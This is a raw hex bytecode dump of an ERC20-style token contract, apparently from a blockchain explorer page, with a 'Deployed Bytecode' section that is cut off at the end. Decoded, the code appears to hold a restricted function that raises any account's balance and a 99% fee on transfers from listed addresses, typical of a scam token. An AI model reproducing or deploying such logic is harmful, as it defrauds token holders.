df523b3ef8360405161164591906126b5565b60405180910390a36001925050505b9392505050565b60008383111582906116a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169a91906125b3565b60405180910390fd5b50600083856116b2919061287b565b9050809150509392505050565b60008082846116ce919061279a565b9050838110156116dd57600080fd5b8091505092915050565b6000611772826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165b9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061180782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0190919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118a791906126b5565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118f2576118f1612ac8565b5b6040519080825280602002602001820160405280156119205781602001602082028036833780820191505090505b509050308160008151811061193857611937612a99565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119da57600080fd5b505afa1580156119ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a12919061215e565b81600181518110611a2657611a25612a99565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a8d30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f85565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611af19594939291906126d0565b600060405180830381600087803b158015611b0b57600080fd5b505af1925050508015611b1c575060015b611b2557611b26565b5b60004790506000811115611b9e57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b9c573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611c0083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061165b565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c9057611c896064611c7b600c5486611f5f90919063ffffffff16565b611fda90919063ffffffff16565b9050611d0e565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d0d57611d0a6064611cfc600d5486611f5f90919063ffffffff16565b611fda90919063ffffffff16565b90505b5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611db15750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611de057611ddd6064611dcf606386611f5f90919063ffffffff16565b611fda90919063ffffffff16565b90505b6000811115611ee457611e3b81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0190919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611edb91906126b5565b60405180910390a35b611ef78184611bbe90919063ffffffff16565b9150509392505050565b6000808284611f10919061279a565b905083811015611f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4c90612615565b60405180910390fd5b8091505092915050565b600080831415611f725760009050611fd4565b60008284611f809190612821565b9050828482611f8f91906127f0565b14611fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc690612635565b60405180910390fd5b809150505b92915050565b600061201c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612024565b905092915050565b6000808311829061206b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206291906125b3565b60405180910390fd5b506000838561207a91906127f0565b9050809150509392505050565b60008135905061209681612cfe565b92915050565b6000815190506120ab81612cfe565b92915050565b60008083601f8401126120c7576120c6612afc565b5b8235905067ffffffffffffffff8111156120e4576120e3612af7565b5b602083019150836020820283011115612100576120ff612b01565b5b9250929050565b60008135905061211681612d15565b92915050565b60008135905061212b81612d2c565b92915050565b60006020828403121561214757612146612b0b565b5b600061215584828501612087565b91505092915050565b60006020828403121561217457612173612b0b565b5b60006121828482850161209c565b91505092915050565b600080604083850312156121a2576121a1612b0b565b5b60006121b085828601612087565b92505060206121c185828601612087565b9150509250929050565b6000806000606084860312156121e4576121e3612b0b565b5b60006121f286828701612087565b935050602061220386828701612087565b92505060406122148682870161211c565b9150509250925092565b6000806040838503121561223557612234612b0b565b5b600061224385828601612087565b92505060206122548582860161211c565b9150509250929050565b60008060006040848603121561227757612276612b0b565b5b600061228586828701612107565b935050602084013567ffffffffffffffff8111156122a6576122a5612b06565b5b6122b2868287016120b1565b92509250509250925092565b6000602082840312156122d4576122d3612b0b565b5b60006122e28482850161211c565b91505092915050565b6000806040838503121561230257612301612b0b565b5b60006123108582860161211c565b925050602061232185828601612087565b9150509250929050565b60006123378383612352565b60208301905092915050565b61234c816128c1565b82525050565b61235b816128af565b82525050565b61236a816128af565b82525050565b600061237b82612755565b6123858185612778565b935061239083612745565b8060005b838110156123c15781516123a8888261232b565b97506123b38361276b565b925050600181019050612394565b5085935050505092915050565b6123d7816128d3565b82525050565b6123e681612916565b82525050565b6123f581612928565b82525050565b600061240682612760565b6124108185612789565b935061242081856020860161295e565b61242981612b10565b840191505092915050565b6000612441602383612789565b915061244c82612b21565b604082019050919050565b6000612464602283612789565b915061246f82612b70565b604082019050919050565b6000612487601b83612789565b915061249282612bbf565b602082019050919050565b60006124aa602183612789565b91506124b582612be8565b604082019050919050565b60006124cd602083612789565b91506124d882612c37565b602082019050919050565b60006124f0602583612789565b91506124fb82612c60565b604082019050919050565b6000612513602483612789565b915061251e82612caf565b604082019050919050565b612532816128ff565b82525050565b61254181612909565b82525050565b600060208201905061255c6000830184612361565b92915050565b60006020820190506125776000830184612343565b92915050565b600060208201905061259260008301846123ce565b92915050565b60006020820190506125ad60008301846123dd565b92915050565b600060208201905081810360008301526125cd81846123fb565b905092915050565b600060208201905081810360008301526125ee81612434565b9050919050565b6000602082019050818103600083015261260e81612457565b9050919050565b6000602082019050818103600083015261262e8161247a565b9050919050565b6000602082019050818103600083015261264e8161249d565b9050919050565b6000602082019050818103600083015261266e816124c0565b9050919050565b6000602082019050818103600083015261268e816124e3565b9050919050565b600060208201905081810360008301526126ae81612506565b9050919050565b60006020820190506126ca6000830184612529565b92915050565b600060a0820190506126e56000830188612529565b6126f260208301876123ec565b81810360408301526127048186612370565b90506127136060830185612361565b6127206080830184612529565b9695505050505050565b600060208201905061273f6000830184612538565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127a5826128ff565b91506127b0836128ff565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127e5576127e4612a0c565b5b828201905092915050565b60006127fb826128ff565b9150612806836128ff565b92508261281657612815612a3b565b5b828204905092915050565b600061282c826128ff565b9150612837836128ff565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128705761286f612a0c565b5b828202905092915050565b6000612886826128ff565b9150612891836128ff565b9250828210156128a4576128a3612a0c565b5b828203905092915050565b60006128ba826128df565b9050919050565b60006128cc826128df565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129218261293a565b9050919050565b6000612933826128ff565b9050919050565b60006129458261294c565b9050919050565b6000612957826128df565b9050919050565b60005b8381101561297c578082015181840152602081019050612961565b8381111561298b576000848401525b50505050565b600060028204905060018216806129a957607f821691505b602082108114156129bd576129bc612a6a565b5b50919050565b60006129ce826128ff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a0157612a00612a0c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d07816128af565b8114612d1257600080fd5b50565b612d1e816128d3565b8114612d2957600080fd5b50565b612d35816128ff565b8114612d4057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a61d16fc2a7a0a5d48a4aed0b0fe5ee2a1407b283e99c838e081818c2e726e0d64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c806370a08231116100ec578063b98115ff1161008a578063c860795211610064578063c860795214610645578063dd62ed3e14610670578063f0cd1dac146106ad578063f2fde38b146106d8576101c2565b8063b98115ff146105b2578063c5d24189146105ef578063c816841b1461061a576101c2565b80638da5cb5b116100c65780638da5cb5b146104f457806395d89b411461051f578063a08e671f1461054a578063a9059cbb14610575576101c2565b806370a082311461046357806382eefb43146104a05780638b4cee08146104cb576101c2565b806327c8f835116101595780633ecad271116101335780633ecad271146103a757806342640a97146103e4578063568f26101461040f57806361a23c6914610438576101c2565b806327c8f83514610314578063313ce5671461033f5780633345611e1461036a576101c2565b80631694505e116101955780631694505e1461025857806318160ddd146102835780632239481c146102ae57806323b872dd146102d7576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630cc835a31461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e991906125b3565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061221e565b610793565b604051610226919061257d565b60405180910390f35b34801561023b57600080fd5b50610256600480360381019061025191906122be565b6107b1565b005b34801561026457600080fd5b5061026d610859565b60405161027a9190612598565b60405180910390f35b34801561028f57600080fd5b5061029861087f565b6040516102a591906126b5565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d0919061225e565b610889565b005b3480156102e357600080fd5b506102fe60048036038101906102f991906121cb565b610940565b60405161030b919061257d565b60405180910390f35b34801561032057600080fd5b50610329610a1a565b6040516103369190612547565b60405180910390f35b34801561034b57600080fd5b50610354610a3e565b604051610361919061272a565b60405180910390f35b34801561037657600080fd5b50610391600480360381019061038c9190612131565b610a55565b60405161039e919061257d565b60405180910390f35b3480156103b357600080fd5b506103ce60048036038101906103c99190612131565b610a75565b6040516103db919061257d565b60405180910390f35b3480156103f057600080fd5b506103f9610a95565b6040516104069190612562565b60405180910390f35b34801561041b57600080fd5b50610436600480360381019061043191906122eb565b610abb565b005b34801561044457600080fd5b5061044d610b6f565b60405161045a91906126b5565b60405180910390f35b34801561046f57600080fd5b5061048a60048036038101906104859190612131565b610b75565b60405161049791906126b5565b60405180910390f35b3480156104ac57600080fd5b506104b5610bbe565b6040516104c291906126b5565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed91906122be565b610bc4565b005b34801561050057600080fd5b50610509610c6c565b6040516105169190612547565b60405180910390f35b34801561052b57600080fd5b50610534610c95565b60405161054191906125b3565b60405180910390f35b34801561055657600080fd5b5061055f610d27565b60405161056c91906126b5565b60405180910390f35b34801561058157600080fd5b5061059c6004803603810190610597919061221e565b610d2d565b6040516105a9919061257d565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d49190612131565b610d4c565b6040516105e6919061257d565b60405180910390f35b3480156105fb57600080fd5b50610604610d6c565b60405161061191906126b5565b60405180910390f35b34801561062657600080fd5b5061062f610d72565b60405161063c9190612547565b60405180910390f35b34801561065157600080fd5b5061065a610d98565b60405161066791906126b5565b60405180910390f35b34801561067c57600080fd5b506106976004803603810190610692919061218b565b610d9e565b6040516106a491906126b5565b60405180910390f35b3480156106b957600080fd5b506106c2610e25565b6040516106cf91906126b5565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa9190612131565b610e2b565b005b60606001805461071090612991565b80601f016020809104026020016040519081016040528092919081815260200182805461073c90612991565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b60006107a76107a0610f7d565b8484610f85565b6001905092915050565b6107b9610f7d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d90612655565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b600082829050905061089a81611150565b60005b838390508110156109395784600860008686858181106108c0576108bf612a99565b5b90506020020160208101906108d59190612131565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610931906129c3565b91505061089d565b5050505050565b600061094d8484846111cc565b50610a0f8461095a610f7d565b610a0a85604051806060016040528060288152602001612d4460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109c0610f7d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165b9092919063ffffffff16565b610f85565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ac482611150565b610b28610b1983600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bf90919063ffffffff16565b836116bf90919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d5481565b610bcc610f7d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5090612655565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610ca490612991565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd090612991565b8015610d1d5780601f10610cf257610100808354040283529160200191610d1d565b820191906000526020600020905b815481529060010190602001808311610d0057829003601f168201915b5050505050905090565b600e5481565b6000610d41610d3a610f7d565b84846111cc565b506001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b610e33610f7d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb790612655565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90612695565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906125f5565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114391906126b5565b60405180910390a3505050565b60006111666001836116bf90919063ffffffff16565b1180156111c05750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6111c957600080fd5b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561123d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123490612675565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a4906125d5565b60405180910390fd5b601160149054906101000a900460ff16156112d4576112cd8484846116e7565b9050611654565b60006112df30610b75565b9050601160149054906101000a900460ff161580156113485750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561139e5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113f45750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561140357611402816118ba565b5b61145583600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bbe90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061153b5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61154f5761154a868686611c08565b611551565b835b90506115a581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0190919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161164591906126b5565b60405180910390a36001925050505b9392505050565b60008383111582906116a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169a91906125b3565b60405180910390fd5b50600083856116b2919061287b565b9050809150509392505050565b60008082846116ce919061279a565b9050838110156116dd57600080fd5b8091505092915050565b6000611772826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165b9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061180782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0190919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118a791906126b5565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118f2576118f1612ac8565b5b6040519080825280602002602001820160405280156119205781602001602082028036833780820191505090505b509050308160008151811061193857611937612a99565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119da57600080fd5b505afa1580156119ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a12919061215e565b81600181518110611a2657611a25612a99565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a8d30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f85565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611af19594939291906126d0565b600060405180830381600087803b158015611b0b57600080fd5b505af1925050508015611b1c575060015b611b2557611b26565b5b60004790506000811115611b9e57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b9c573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611c0083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061165b565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c9057611c896064611c7b600c5486611f5f90919063ffffffff16565b611fda90919063ffffffff16565b9050611d0e565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d0d57611d0a6064611cfc600d5486611f5f90919063ffffffff16565b611fda90919063ffffffff16565b90505b5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611db15750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611de057611ddd6064611dcf606386611f5f90919063ffffffff16565b611fda90919063ffffffff16565b90505b6000811115611ee457611e3b81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0190919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611edb91906126b5565b60405180910390a35b611ef78184611bbe90919063ffffffff16565b9150509392505050565b6000808284611f10919061279a565b905083811015611f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4c90612615565b60405180910390fd5b8091505092915050565b600080831415611f725760009050611fd4565b60008284611f809190612821565b9050828482611f8f91906127f0565b14611fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc690612635565b60405180910390fd5b809150505b92915050565b600061201c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612024565b905092915050565b6000808311829061206b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206291906125b3565b60405180910390fd5b506000838561207a91906127f0565b9050809150509392505050565b60008135905061209681612cfe565b92915050565b6000815190506120ab81612cfe565b92915050565b60008083601f8401126120c7576120c6612afc565b5b8235905067ffffffffffffffff8111156120e4576120e3612af7565b5b602083019150836020820283011115612100576120ff612b01565b5b9250929050565b60008135905061211681612d15565b92915050565b60008135905061212b81612d2c565b92915050565b60006020828403121561214757612146612b0b565b5b600061215584828501612087565b91505092915050565b60006020828403121561217457612173612b0b565b5b60006121828482850161209c565b91505092915050565b600080604083850312156121a2576121a1612b0b565b5b60006121b085828601612087565b92505060206121c185828601612087565b9150509250929050565b6000806000606084860312156121e4576121e3612b0b565b5b60006121f286828701612087565b935050602061220386828701612087565b92505060406122148682870161211c565b9150509250925092565b6000806040838503121561223557612234612b0b565b5b600061224385828601612087565b92505060206122548582860161211c565b9150509250929050565b60008060006040848603121561227757612276612b0b565b5b600061228586828701612107565b935050602084013567ffffffffffffffff8111156122a6576122a5612b06565b5b6122b2868287016120b1565b92509250509250925092565b6000602082840312156122d4576122d3612b0b565b5b60006122e28482850161211c565b91505092915050565b6000806040838503121561230257612301612b0b565b5b60006123108582860161211c565b925050602061232185828601612087565b9150509250929050565b60006123378383612352565b60208301905092915050565b61234c816128c1565b82525050565b61235b816128af565b82525050565b61236a816128af565b82525050565b600061237b82612755565b6123858185612778565b935061239083612745565b8060005b838110156123c15781516123a8888261232b565b97506123b38361276b565b925050600181019050612394565b5085935050505092915050565b6123d7816128d3565b82525050565b6123e681612916565b82525050565b6123f581612928565b82525050565b600061240682612760565b6124108185612789565b935061242081856020860161295e565b61242981612b10565b840191505092915050565b6000612441602383612789565b915061244c82612b21565b604082019050919050565b6000612464602283612789565b915061246f82612b70565b604082019050919050565b6000612487601b83612789565b915061249282612bbf565b602082019050919050565b60006124aa602183612789565b91506124b582612be8565b604082019050919050565b60006124cd602083612789565b91506124d882612c37565b602082019050919050565b60006124f0602583612789565b91506124fb82612c60565b604082019050919050565b6000612513602483612789565b915061251e82612caf565b604082019050919050565b612532816128ff565b82525050565b61254181612909565b82525050565b600060208201905061255c6000830184612361565b92915050565b60006020820190506125776000830184612343565b92915050565b600060208201905061259260008301846123ce565b92915050565b60006020820190506125ad60008301846123dd565b92915050565b600060208201905081810360008301526125cd81846123fb565b905092915050565b600060208201905081810360008301526125ee81612434565b9050919050565b6000602082019050818103600083015261260e81612457565b9050919050565b6000602082019050818103600083015261262e8161247a565b9050919050565b6000602082019050818103600083015261264e8161249d565b9050919050565b6000602082019050818103600083015261266e816124c0565b9050919050565b6000602082019050818103600083015261268e816124e3565b9050919050565b600060208201905081810360008301526126ae81612506565b9050919050565b60006020820190506126ca6000830184612529565b92915050565b600060a0820190506126e56000830188612529565b6126f260208301876123ec565b81810360408301526127048186612370565b90506127136060830185612361565b6127206080830184612529565b9695505050505050565b600060208201905061273f6000830184612538565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127a5826128ff565b91506127b0836128ff565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127e5576127e4612a0c565b5b828201905092915050565b60006127fb826128ff565b9150612806836128ff565b92508261281657612815612a3b565b5b828204905092915050565b600061282c826128ff565b9150612837836128ff565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128705761286f612a0c565b5b828202905092915050565b6000612886826128ff565b9150612891836128ff565b9250828210156128a4576128a3612a0c565b5b828203905092915050565b60006128ba826128df565b9050919050565b60006128cc826128df565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129218261293a565b9050919050565b6000612933826128ff565b9050919050565b60006129458261294c565b9050919050565b6000612957826128df565b9050919050565b60005b8381101561297c578082015181840152602081019050612961565b8381111561298b576000848401525b50505050565b600060028204905060018216806129a957607f821691505b602082108114156129bd576129bc612a6a565b5b50919050565b60006129ce826128ff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a0157612a00612a0c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b71000000000000000000000000000000